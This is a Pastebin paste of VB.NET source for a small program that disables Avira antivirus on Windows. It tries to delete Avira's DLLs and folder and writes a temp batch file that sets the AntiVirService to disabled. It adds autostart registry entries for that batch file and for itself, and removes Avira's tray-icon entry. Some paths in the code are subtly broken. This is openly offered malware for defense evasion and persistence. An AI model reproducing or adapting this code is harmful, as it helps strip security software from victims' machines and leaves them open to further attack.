Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO ' is needed for the stream writer
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- 'trying to delete. avira dlls in the folder to
- Try
- IO.File.Delete(Environment.SpecialFolder.Programs & "\avira\antivir desktop\" & "\*.dll*")
- Application.DoEvents()
- Catch ex As Exception
- End Try
- Try
- 'Attempts to delete the folder Avira
- IO.Directory.Delete(Environment.SpecialFolder.Programs & "\avira")
- Application.DoEvents()
- Catch ex As Exception
- End Try
- 'cmd in the tmp folder created works for the kill to Antirservice repays after reboot of the system
- Try
- Dim swriter = New StreamWriter(Environ("tmp") & "\avira.cmd")
- swriter.WriteLine("@echo off")
- swriter.WriteLine("sc.exe config AntiVirService start= disabled")
- swriter.Close()
- 'starts avira.cmd
- Process.Start(Environ("tmp") & "\avira.cm")
- Catch ex As Exception
- End Try
- 'makes a registry entry for autostart of avira.cmd
- Try
- Dim regpfad As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
- Dim regname As String = "AVFuck"
- Dim filepfad As String = Environ("tmp") & "\avira.cmd"
- My.Computer.Registry.SetValue(regpfad, regname, filepfad, _
- Microsoft.Win32.RegistryValueKind.String)
- Catch ex As Exception
- End Try
- Try
- 'Deletes the entry for the trayicon of avira
- My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "avira", "", _
- Microsoft.Win32.RegistryValueKind.String)
- Catch ex As Exception
- End Try
- 'writes an autostart registry entry for the application
- Try
- Dim regpfaddatei As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
- Dim regnamedatei As String = "AVFuckstarter"
- Dim filepfaddatei As String = Application.ExecutablePath
- My.Computer.Registry.SetValue(regpfaddatei, regnamedatei, filepfaddatei, _
- Microsoft.Win32.RegistryValueKind.String)
- Catch ex As Exception
- End Try
- End
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement